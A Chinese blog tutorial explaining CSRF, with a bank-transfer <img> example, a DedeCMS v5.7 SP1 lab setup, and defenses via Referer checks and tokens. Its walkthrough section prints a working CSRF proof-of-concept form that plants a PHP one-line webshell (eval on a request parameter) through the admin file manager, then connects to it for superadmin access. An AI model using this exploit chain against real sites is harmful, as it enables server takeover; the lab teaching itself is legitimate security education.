1 什么是CSRF
CSRF(跨站请求伪造)是一种网络安全漏洞,攻击者将诱导用户无意采取某种操作。这能让攻击者部分的规避一些用来防止不同网页相互干扰的政策。
个人理解:就是A想改B的信息,把改信息的链接发给已经登录网站的B,让B点击,成功改掉B的信息。
维基百科:跨站请求伪造(英语:Cross-site request forgery),也被称为one-click attack或者session riding,通常缩写为CSRF或者XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个都网站,会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的CSRF脚本或包含CSRF脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号、转账等) JS(可以发送数据包) AJAX
2 CSRF攻击原理
例如:
银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:<img src=http://www.mybank.com/Transfer.php?toBankId=ys&money=1000>
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
为什么会这样呢?
原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
3 搭建(Dedecms v5.7 sp1)靶场
3.1 下载文件 https://pan.baidu.com/s/1Dw2Ehi1UjZfAlJqgbUfwKw 提取码:ggjw 解压后拖入PHP study中www文件
3.2 打开php study中的其他选项菜单中的站点域名管理
3.3 目录选择上面下载的文件,设置端口,新增站点,并保存设置生成配置文件
3.4 进入网站,直接下一步(中间设置一下数据库密码)直到进入网站页面,在地址后加dede即可进入后台
4 CSRF靶场演示
4.1 进入dedecms后台,发现存在一个功能 ——文件式管理器
4.2 新建文件hx.php,写入<?php phpinfo() ?>
4.3 发现能访问进入phpinfo页面
4.4 伪造新建文件请求给管理员获得网站超级权限
对新建php文件进行抓包,内容一句话木马:<?php eval($_REQUEST[8])?>
生成CSRF POC,粘贴POC到新建的hx2.html文件
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.174.128:84/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/" />
<input type="hidden" name="filename" value="hx2.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST[8]?)>" />
<input type="hidden" name="B1" value="  保 存  " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
将html文件部署到vps上
假设网站管理员登陆了dedecms后台,并点击了hx2.html的网址,便会在文件管理器中自动生成一个hx2.php文件
打开蚁剑进行连接,密码是一句话木马中的8
连接成功,打开终端输入whoami发现权限是超级管理员
5 CSRF防御
5.1 Referer
恶意网站B:用户在http://xxx.com(恶意网站)上进行了一些操作,比如点击一个按钮或提交一个表单。
发起请求:这个操作会触发一个请求,试图更改http://yyy.com(目标网站)上的信息。这个请求会包含一个Referer头,表明请求的来源是http://xxx.com。
目标网站A:当http://yyy.com收到这个请求时,它会检查请求的Referer头。
检查Referer头:目标网站A发现Referer头显示请求来自http://xxx.com,而不是来自http://yyy.com本身。
拒绝请求:由于请求不是来自信任的来源,网站A拒绝这个请求,从而防止恶意操作成功执行。
通过这种方式,Referer头可以帮助网站识别和拒绝不可信的请求,从而保护网站免受跨站请求伪造(CSRF)攻击。
5.2 Token
生成CSRF Token:当用户访问网站A(http://yyy.com)并打开一个页面时,服务器会生成一个随机的CSRF Token,并将其嵌入到该页面的表单中。这确保了每次用户访问页面时,都会生成一个新的随机Token。
用户提交请求:当用户提交表单请求时,CSRF Token会与其他表单数据一同提交到服务器。
服务器验证Token:服务器接收到请求后,会检查请求中包含的CSRF Token。如果Token匹配服务器生成的Token,则认为请求是合法的,并执行相应的操作。
恶意请求被拒绝:如果恶意网站(http://xxx.com)试图发起一个请求,因为它无法知道用户会话中的正确的CSRF Token,所以提交的请求不会包含正确的Token。服务器检测到Token不匹配后,会拒绝这个请求,从而防止CSRF攻击。
通过这种方式,即使用户在恶意网站上执行了某些操作,也不会对受保护的网站造成影响,因为每个请求都需要一个有效的CSRF Token,确保只有合法的用户请求才能被处理。
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/csrf%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0/
共有 0 条评论